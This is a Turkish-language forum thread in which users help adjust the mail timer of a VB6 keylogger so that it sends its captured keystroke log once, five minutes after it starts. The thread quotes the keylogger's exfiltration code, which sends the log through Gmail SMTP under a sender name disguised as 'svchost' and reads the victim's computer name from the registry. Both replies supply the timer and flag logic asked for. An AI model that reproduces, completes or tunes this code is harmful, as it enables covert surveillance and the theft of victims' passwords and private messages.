bi tane sabit değerde integer tanımlanır. değeri 0 olarak. sonrası timer'a Kod: if sabitinteger=0 then begin mailgonder sabitinteger=1 end yaparsın olur biter. kod kalabalıgına gerek yok.

Dim sn, dk timere aşşağıdakileri ekle sn=sn+1 if sn = 60 then dk=dk+1 sn=0 end if if dk=5 then mail gönderme kodun end if bu kadar eğer her beş dakikada bir göndersin dersen mail gönderme kodunun altına dk=0 eklersin..

arkadaşlar merhaba.. aşağıda vb6 da yapılan bir keylogger in kodlarından ilgili kısmı veriyorum: Kod: Private Sub Timer2_Timer On Error Resume Next 'Hata olusursa es geç Say = Say + 1 'Her 60 saniyede bir say değişkenimizi 1 arttıyoruz If Say = 5 Then ' Eğer say değişkenimiz Text11. Text a eşit olursa Say = 0 'Say değişkenimizi " 0 " lıyoruz.. bu kodlar ile keylogger her 5 dakika da bir maile log gönderiyor. benim istediğim keylogger'in çalıştıktan 5 dakika sonra 1 kere mail gönderip bir daha göndermemesi. bunu nasıl yapabilirim? teşekkürler.

On Error Resume Next 'Hata olusursa es geç Say = Say + 1 'Her 60 saniyede bir say değişkenimizi 1 arttıyoruz If Say = 5 Then ' Eğer say değişkenimiz Text11. Text a eşit olursa Say = 0 'Say değişkenimizi " 0 " lıyoruz.. Dim iMsg, iConf, Flds Set iMsg = CreateObject Set iConf = CreateObject Set Flds = iConf. Fields schema = "http://schemas.microsoft.com/cdo/configuration/" Flds. Item = 2 Flds. Item = "smtp. gmail.com" Flds. Item = 465 Flds. Item = 1 Flds. Item = "Mail Adresi " Flds. Item = "Mail Adresi Sifre." Flds. Item = 1 Flds. Update With iMsg. To = "Mail Adresi " . From = "svchost" . Subject = PCADI & " : " & Text2. Text. HTMLbOdy = Text1. Text. Organization = "Mail Organtion" . ReplyTo = "-" Set. Configuration = iConf SendEmailGmail = . Send Text1. Text = Clear End With ' End If End Sub PCADI Bilgisayar İsmini Gösteriyor... Form a Bunu ekle PCADI = CreateObject . RegRead